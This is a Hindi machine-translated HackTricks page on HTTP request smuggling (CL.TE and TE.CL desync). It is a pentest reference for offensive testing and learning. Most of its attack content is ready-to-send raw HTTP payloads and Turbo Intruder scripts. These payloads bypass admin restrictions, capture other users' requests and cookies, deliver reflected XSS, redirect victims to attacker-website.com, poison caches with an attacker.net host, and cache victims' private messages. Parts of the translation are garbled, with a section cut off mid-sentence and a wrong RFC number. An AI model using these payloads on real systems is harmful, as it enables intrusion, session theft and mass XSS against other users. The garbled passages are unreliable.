hacktricks/pentesting-web/http-request-smuggling

HTTP Request Smuggling / HTTP Desync Attack

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान देखें!
• आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
• हमारे विशेष NFTs संग्रह, The PEASS Family की खोज करें
• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
• अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PR जमा करके।

क्या है

यह सुरक्षा दोष एक अवैतनिकरण की स्थिति होती है जिसमें फ्रंट-एंड प्रॉक्सी और बैक-एंड सर्वर के बीच एक हमलावर को एक HTTP अनुरोध भेजने की अनुमति देती है जो फ्रंट-एंड प्रॉक्सी (लोड बैलेंस/रिवर्स-प्रॉक्सी) द्वारा एकल अनुरोध के रूप में व्याख्या किया जाएगा और बैक-एंड सर्वर द्वारा 2 अनुरोध के रूप में व्याख्या किया जाएगा।
इससे उपयोगकर्ता को अपने के बाद बैक-एंड सर्वर तक पहुंचने वाले अगले अनुरोध को संशोधित करने की अनुमति मिलती है।

सिद्धांत

RFC विनिर्देशन (2161)

यदि एक संदेश प्राप्त होता है जिसमें एक हेडर क्षेत्र और एक सामग्री-लंबाई हेडर क्षेत्र दोनों होते हैं, तो अंतिम को नजरअंदाज किया जाना चाहिए।

सामग्री-लंबाई

सामग्री-लंबाई एंटिटी हेडर उस आक्रिया-शरीर का आकार दर्शाता है, जिसे प्राप्तकर्ता को भेजा गया है, बाइट में।

स्थानांतरण-कोडिंग: टुकड़ा

स्थानांतरण-कोडिंग हेडर उस एन्कोडिंग के रूप को निर्दिष्ट करता है जिसका उपयोग पेशेवर तरीके से पेयलोड शरीर को उपयोगकर्ता को सुरक्षित रूप से स्थानांतरित करने के लिए किया जाता है।
टुकड़ा का अर्थ है कि बड़े डेटा को टुकड़ों में भेजा जाता है

वास्तविकता

फ्रंट-एंड (लोड-बैलेंस / रिवर्स प्रॉक्सी) ने सामग्री-लंबाई या स्थानांतरण-कोडिंग हेडर को प्रोसेस किया और बैक-एंड सर्वर ने दूसरा एक प्रोसेस किया जिससे दो तंत्रों के बीच एक अवैतनिकरण हो गया।
यह बहुत गंभीर हो सकता है क्योंकि एक हमलावर को एक अनुरोध भेजने की क्षमता होगी जो रिवर्स प्रॉक्सी को एक अनुरोध के रूप में व्याख्या किया जाएगा जिसे बैक-एंड सर्वर 2 अलग-अलग अनुरोध के रूप में व्याख्या करेगा। इस तकनीक की खतरा इस तथ्य में निहित है कि बैक-एंड सर्वर दूसरा अनुरोध इंजेक्ट के रूप में आया है जैसे कि यह अगले ग्राहक से आया है और उस ग्राहक का वास्तविक अनुरोध इंजेक्टेड अनुरोध का हिस्सा होगा।

विशेषताएँ

ध्यान रखें कि HTTP में नया पंक्ति वर्ण 2 बाइटों से बना होता है:

• सामग्री-लंबाई: यह हेडर एक दशमलव संख्या का उपयोग करता है जो अनुरोध के शरीर के बाइटों की संख्या को दर्शाता है। शरीर का अंतिम वर्ण में समाप्त होने की उम्मीद है, अनुरोध के अंत में नई पंक्ति की आवश्यकता नहीं है।
• स्थानांतरण-कोडिंग: यह हेडर शरीर में एक हेक्साडेसिमल संख्या का उपयोग करता है जो अगले टुकड़े की बाइटों की संख्या को दर्शाता है। टुकड़ा को एक नई पंक्ति के साथ समाप्त होना चाहिए लेकिन इस नई पंक्ति को लंबाई सूचक से नहीं गिना जाता है। यह स्थानांतरण विधि को 0 के आकार के टुकड़े के साथ समाप्त होना चाहिए जिसे 2 नई पंक्तियों के बाद अनुसरण किया जाता है: 0
• कनेक्शन: मेरे अनुभव के आधार पर, कनेक्शन: keep-alive का पहले अनुरोध पर उपयोग करना सिफारिश किया जाता है अनुरोध स्मग्लिंग।

मूल उदाहरण

HTTP अनुरोध स्मग्लिंग हमले अस्पष्ट अनुरोध भेजकर बनाए जाते हैं जो फ्रंट-एंड और बैक-एंड सर्वरों के बीच सामग्री-लंबाई (CL) और स्थानांतरण-कोडिंग (TE) हेडर को कैसे व्याख्या करते हैं में अंतर का शोषण करते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से CL.TE, TE.CL, और TE.TE के रूप में। प्रत्येक प्रकार एक अद्वितीय संयोजन का प्रतिनिधित्व करता है जिसमें फ्रंट-एंड और बैक-एंड सर्वर इन हेडर्स को प्राथमिकता कैसे देते हैं। सर्वरों की एक ही अनुरोध को विभिन्न तरीकों से प्रसंस्करण करने से ये दोष उत्पन्न होते हैं, जिससे अप्रत्याशित और संभावित दुरुपयोग हो सकता है।

सुरक्षा दोष प्रकारों के मूल उदाहरण

CL.TE सुरक्षा दोष (फ्रंट-एंड द्वारा सामग्री-लंबाई का उपयोग, बैक-एंड द्वारा स्थानांतरण-कोडिंग का उपयोग)

• फ्रंट-एंड (CL): Content-Length हेडर के आधार पर अनुरोध का प्रोसेस करता है।
• बैक-एंड (TE): Transfer-Encoding हेडर के आधार पर अनुरोध का प्रोसेस करता है।
• हमला स्नेहयुक्त:
• हमलावर एक ऐसा अनुरोध भेजता है जिसमें Content-Length हेडर की मान्यता वास्तविक सामग्री लंबाई से मेल नहीं खाती।
• फ्रंट-एंड सर्वर Content-Length मान के आध

Connection: Content-Length

HTTP अनुरोध स्मग्लिंग खोजना

HTTP अनुरोध स्मग्लिंग की वंशानुक्रमिकता को पहचानना अक्सर समय तकनीकों का उपयोग करके संभव होता है, जो मानिपुरित अनुरोधों के जवाब में कितना समय लगता है उसे देखने पर निर्भर होती है। ये तकनीकें सीएल.टी.ई और टीई.सीएल जोखिमों का पता लगाने के लिए विशेष रूप से उपयोगी हैं। इन विधियों के अलावा, ऐसी खोज करने के लिए अन्य रणनीतियाँ और उपकरण हैं जो इस तरह की रिक्तियों को खोजने में उपयोग किए जा सकते हैं:

समय तकनीकों का उपयोग करके सीएल.टी.ई जोखिमों का पता लगाना

• विधि:
• एक अनुरोध भेजें जो, यदि एप्लिकेशन जोखिमशील है, तो पीछे की ओर सर्वर को अतिरिक्त डेटा के लिए प्रतीक्षा करने के लिए मजबूर करेगा।
• उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• अवलोकन:

• फ्रंट-एंड सर्वर Content-Length के आधार पर अनुरोध को प्रसंस्करण करता है और संदेश को पहले ही अधूरा कर देता है।

• पीछे की ओर सर्वर, एक चंक संदेश की उम्मीद रखते हुए, अगले चंक का इंतजार करता है जो कभी नहीं आता, जिससे देरी होती है।

• संकेतक:

• प्रतिक्रिया में समय समाप्ति या लंबी देरी।

• पीछे की ओर सर्वर से 400 बैड अनुरोध त्रुटि प्राप्त करना, कभी-कभी विस्तृत सर्वर सूचना के साथ।

समय तकनीकों का उपयोग करके टीई.सीएल जोखिमों का पता लगाना

• विधि:
• एक अनुरोध भेजें जो, यदि एप्लिकेशन जोखिमशील है, तो पीछे की ओर सर्वर को अतिरिक्त डेटा के लिए प्रतीक्षा करने के लिए मजबूर करेगा।
• उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• अवलोकन:
• फ्रंट-एंड सर्वर Transfer-Encoding के आधार पर अनुरोध को प्रसंस्करण करता है और पूरे संदेश को आगे भेजता है।
• पीछे की ओर सर्वर, Content-Length के आधार पर संदेश की उम्मीद रखते हुए, अतिरिक्त डेटा का इंतजार करता है जो कभी नहीं आता, जिससे देरी होती है।

जोखिमों को खोजने के लिए अन्य विधियाँ

• अंतर्विष्टि प्रतिक्रिया विश्लेषण:

• एक अनुरोध के स्थानांतरित संस्करण भेजें और देखें कि क्या सर्वर प्रतिक्रियाएं एक अप्रत्याशित तरीके में भिन्न हैं, जिससे एक पार्शिंग विसंगति का संकेत मिले।

• स्वचालित उपकरणों का उपयोग:

• बर्प स्यूट की 'HTTP अनुरोध स्मग्लर' एक्सटेंशन जैसे उपकरण विभिन्न प्रकार के संदेश भेजकर और प्रतिक्रियाएं विश्लेषण करके इन जोखिमों के लिए स्वचालित रूप से परीक्षण कर सकते हैं।

• कंटेंट-लेंथ वेरिएंस टेस्ट:

• विभिन्न Content-Length मानों के साथ अनुरोध भेजें जो वास्तविक सामग्री लंबाई के साथ समान नहीं हैं और देखें कि सर्वर इस प्रकार की असंगतियों का कैसे संभालता है।

• ट्रांसफर-एन्कोडिंग वेरिएंस टेस्ट:

• अविश्वसनीय या गलत रूप से ढाली गई Transfer-Encoding हेडर्स के साथ अनुरोध भेजें और देखें कि फ्रंट-एंड और पीछे की ओर सर्वर इस प्रकार के मानिपुरणों का कैसे प्रतिक्रिया करते हैं।

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

TE.CL उदाहरण

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

उल्टे, TE.CL हमले में, प्रारंभिक POST अनुरोध Transfer-Encoding: chunked का उपयोग करता है, और आगंतुक एम्बेडेड अनुरोध Content-Length हेडर के आधार पर प्रसंस्कृत होता है। CL.TE हमले की तरह, फ्रंट-एंड प्रॉक्सी छिपे हुए GET /admin अनुरोध को नजरअंदाज करता है, जिससे अनजाने में प्रतिबंधित /admin पथ तक पहुंच मिलती है।

फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा

अनुप्रयोग अक्सर पिछले-एंड सर्वर को पारित करने से पहले आने वाले अनुरोधों में संशोधन करने के लिए फ्रंट-एंड सर्वर का उपयोग करते हैं। एक सामान्य संशोधन में हेडर जोड़ना शामिल होता है, जैसे X-Forwarded-For: <ग्राहक का आईपी> को पिछले-एंड तक ग्राहक का आईपी पहुंचाने के लिए। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह संरक्षण को छलने या छिपे हुए जानकारी या अंत बताने के तरीके प्रकट कर सकता है।

एक प्रॉक्सी कैसे अनुरोध को बदलता है की जांच करने के लिए, एक पोस्ट पैरामीटर का पता लगाएं जिसे पिछले-एंड प्रतिक्रिया में दोहराता है। फिर, इस पैरामीटर का उपयोग करते हुए नीचे एक अनुरोध तैयार करें, जैसे निम्नलिखित:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

इस संरचना में, अगले अनुरोध घटक search= के बाद जोड़े जाते हैं, जो प्रतिक्रिया में प्रकट है। यह प्रकट होगा कि अगले अनुरोध के हेडर्स को उजागर करेगा।

निश्चित करना महत्वपूर्ण है कि नेस्टेड अनुरोध के Content-Length हेडर को वास्तविक सामग्री लंबाई के साथ संरेखित किया जाए। एक छोटे मूल्य से शुरू करके सीधे बढ़ाते हुए अच्छा है, क्योंकि बहुत कम मूल्य से उत्तरित डेटा को काट देगा, जबकि बहुत उच्च मूल्य अनुरोध को त्रुटि दिखा सकता है।

यह तकनीक एक TE.CL जोखिम के संदर्भ में भी लागू है, लेकिन अनुरोध को search=\r\n0 के साथ समाप्त करना चाहिए। न्यूलाइन वर्णों के बावजूद, मान खोज पैरामीटर में जोड़ देगा।

यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए सेवानिवृत्त जांच करने के लिए काम आती है। मूल रूप से एक स्व-निर्देशित जांच करने के रूप में कार्य करती है।

अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना

एक विशिष्ट अनुरोध को एक पैरामीटर के मान के रूप में जोड़कर, आप अगले उपयोगकर्ता के अनुरोध को संग्रहीत कर सकते हैं:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

इस स्थिति में, कमेंट पैरामीटर का उद्देश्य किसी सार्वजनिक एक्सेस पेज पर पोस्ट के कमेंट सेक्शन में सामग्री को संग्रहित करना है। इसका परिणामस्वरूप, आगामी अनुरोध की सामग्री को कमेंट के रूप में प्रकट होगी।

हालांकि, इस तकनीक की कुछ सीमाएँ हैं। सामान्य रूप से, यह केवल उस सीमा तक डेटा को कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किए गए पैरामीटर डिलीमिटर तक होता है। URL-encoded फॉर्म सबमिशन के लिए, यह डिलीमिटर & वर्ण होता है। इसका अर्थ है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले & पर रुकेगी, जो क्वेरी स्ट्रिंग का हिस्सा भी हो सकता है।

इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण भी TE.CL जोखिम के साथ संभव है। इस प्रकार के मामलों में, अनुरोध को search=\r\n0 के साथ समाप्त करना चाहिए। न्यूलाइन वर्णों के बावजूद, मान सर्च पैरामीटर में जोड़े जाएंगे।

रिफ्लेक्टेड XSS का शोषण करने के लिए HTTP अनुरोध स्मगलिंग का उपयोग

HTTP अनुरोध स्मगलिंग का उपयोग करके रिफ्लेक्टेड XSS को शोषित करने के लिए वेब पेजों का शोषण किया जा सकता है, जो महत्वपूर्ण लाभ प्रदान करता है:

• लक्ष्य उपयोगकर्ताओं के साथ आवश्यक नहीं है।
• अनुरोध के उन हिस्सों में XSS का शोषण करने की अनुमति देता है जो सामान्य रूप से अनुपलब्ध होते हैं, जैसे HTTP अनुरोध हेडर।

उन स्थितियों में जहाँ एक वेबसाइट यूजर-एजेंट हेडर के माध्यम से रिफ्लेक्टेड XSS के लिए संवेदनशील है, निम्नलिखित पेलोड इस दुर्बलता का शोषण कैसे करता है:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

यह payload दुरुपयोग करने के लिए संरचित है विकल्पिता का:

1. POST अनुरोध प्रारंभ करना, जो सामान्य दिखता है, Transfer-Encoding: chunked हेडर के साथ, जिससे smuggling की शुरुआत दिखाई दे।
2. 0 के साथ आगे बढ़ना, जो चंक्ड संदेश शरीर का समापन करता है।
3. फिर, एक smuggled GET अनुरोध पेश किया जाता है, जिसमें User-Agent हेडर में एक स्क्रिप्ट, <script>alert(1)</script>, इंजेक्ट किया जाता है, जब सर्वर इस उसके बाद के अनुरोध को प्रोसेस करता है।

User-Agent को smuggling के माध्यम से मनिपुरित करके, payload सामान्य अनुरोध प्रतिबंधों को छलकर, इस प्रकार एक गैर-मानक लेकिन प्रभावी तरीके से Reflected XSS वंरबिलिटी का दुरुपयोग करता है।

GET /home HTTP/1.1
Host: normal-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

यह व्यवहार प्रतित दिखता है, लेकिन इसका उपयोग HTTP अनुरोध अपराध का उपयोग करके उपयोगकर्ताओं को एक बाह्य साइट पर पुनर्निर्देशित किया जा सकता है। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

यह चोरी गई अनुरोध एक हमलावर नियंत्रित वेबसाइट पर अगले प्रसंस्कृत उपयोगकर्ता अनुरोध को पुनर्निर्देशित कर सकता है:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

वेब कैश पॉइज़निंग को कार्रवाई करने के लिए एचटीटीपी रिक्वेस्ट स्मग्लिंग का उपयोग

एचटीटीपी रिक्वेस्ट स्मग्लिंग के माध्यम से वेब कैश पॉइज़निंग का शोषण

वेब कैश पॉइज़निंग को कार्रवाई किया जा सकता है अगर फ्रंट-एंड इंफ्रास्ट्रक्चर का कोई भाग सामग्री कैश करता है, सामान्यत: प्रदर्शन को बढ़ाने के लिए। सर्वर के प्रतिक्रिया को मोड़कर, संभावना है कि कैश को पॉइज़न किया जा सके।

पहले हमने देखा कि सर्वर प्रतिक्रियाएँ कैसे बदली जा सकती हैं ताकि 404 त्रुटि लौटाई जा सके (संदर्भ के लिए मूल उदाहरण देखें)। उसी तरह, संभावना है कि सर्वर को धोखा देकर /static/include.js के लिए अनुरोध करने पर /index.html सामग्री प्रदान करने में सक्षम हो। इस परिणामस्वरूप, /static/include.js सामग्री कैश में /index.html की साथ बदल जाती है, जिससे /static/include.js उपयोगकर्ताओं के लिए अगंतुक हो जाता है, संभावित रूप से एक सेवा की अस्वीकृति (DoS) की ओर ले जाता है।

यह तकनीक विशेष रूप से प्रभावी हो जाती है अगर एक ओपन रीडायरेक्ट सुरक्षा दोष खोजा जाता है या यदि एक ऑन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट है। ऐसी कमियों का शोषण किया जा सकता है ताकि /static/include.js की कैश सामग्री को एक हमलावर के नियंत्रण में स्क्रिप्ट के साथ बदल दिया जा सके, मूल रूप से सभी उपयोगकर्ताओं के लिए एक व्यापक क्रॉस-साइट स्क्रिप्टिंग (XSS) हमला सक्षम करने के लिए अपडेट किए गए /static/include.js का अनुरोध करने वाले सभी ग्राहकों के खिलाफ।

नीचे एक चित्रण है जो कैश पॉइज़निंग का शोषण एक ऑन-साइट रीडायरेक्ट के साथ जोड़कर शोषण करने की विस्तारित कार्रवाई का है। उद्देश्य है कि /static/include.js की कैश सामग्री को हमलावर द्वारा नियंत्रित जावास्क्रिप्ट को सेव करने के लिए बदल दिया जाए:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

एम्बेडेड रिक्वेस्ट का ध्यान रखें जो /post/next?postId=3 को लक्ष्य बनाता है। यह रिक्वेस्ट /post?postId=4 पर रीडायरेक्ट किया जाएगा, होस्ट हेडर मान का उपयोग करके डोमेन निर्धारित करने के लिए। होस्ट हेडर को बदलकर, हमलावर रिक्वेस्ट को अपने डोमेन पर रीडायरेक्ट कर सकता है (ऑन-साइट रीडायरेक्ट से ओपन रीडायरेक्ट।)

सफल सॉकेट पॉइजनिंग के बाद, /static/include.js के लिए एक GET रिक्वेस्ट प्रारंभ किया जाना चाहिए। यह रिक्वेस्ट पूर्व ऑन-साइट रीडायरेक्ट से ओपन रीडायरेक्ट रिक्वेस्ट द्वारा प्रदूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री प्राप्त करेगा।

इसके बाद, /static/include.js के लिए कोई भी रिक्वेस्ट हमलावर के स्क्रिप्ट की कैश की सामग्री सेव करेगा, जिससे व्यापक XSS हमला शुरू हो जाएगा।

वेब कैश धोखाधड़ी करने के लिए एचटीटीपी रिक्वेस्ट स्मगलिंग का उपयोग

वेब कैश पॉइजनिंग और वेब कैश धोखाधड़ी में क्या अंतर है?

• वेब कैश पॉइजनिंग में, हमलावर ऐप्लिकेशन को कुछ दुर्भाग्यपूर्ण सामग्री को कैश में स्टोर करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य ऐप्लिकेशन उपयोगकर्ताओं को सेव की जाती है।
• वेब कैश धोखाधड़ी में, हमलावर ऐप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री को कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से प्राप्त करता है।

हमलावर एक स्मगल्ड रिक्वेस्ट तैयार करता है जो संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री प्राप्त करता है। निम्नलिखित उदाहरण का विचार करें:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

यदि यह चोरी गई अनुरोध कैश प्रविष्टि को दूरस्थ सामग्री के लिए है (जैसे, /someimage.png), तो पीड़ित के संवेदनशील डेटा /private/messages स्थानांतरित सामग्री की कैश प्रविष्टि के तहत कैश किया जा सकता है। इस परिणामस्वरूप, हमलावर संभावित रूप से इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।

HTTP प्रश्न चोरी को HTTP प्रतिक्रिया असमंजसीकरण के साथ हथियाना

क्या आपने कुछ HTTP प्रश्न चोरी की कमजोरी पाई है और आप इसे कैसे शोषण करें इसका पता नहीं है। इसके अन्य शोषण के तरीके को आजमाएं:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

टर्बो इंट्रूडर स्क्रिप्ट

सीएल.टी

से https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

टीई.सी.एल

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

उपकरण

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: यह उपकरण विचित्र अनुरोध स्मगलिंग असंगतियों को खोजने में सहायक ग्रामर-आधारित HTTP फजर है।

संदर्भ

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
• आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
• हमारे विशेष NFTs वाले The PEASS Family की खोज करें
• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो करें।
• हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स HackTricks और HackTricks Cloud github रेपो में PR जमा करके।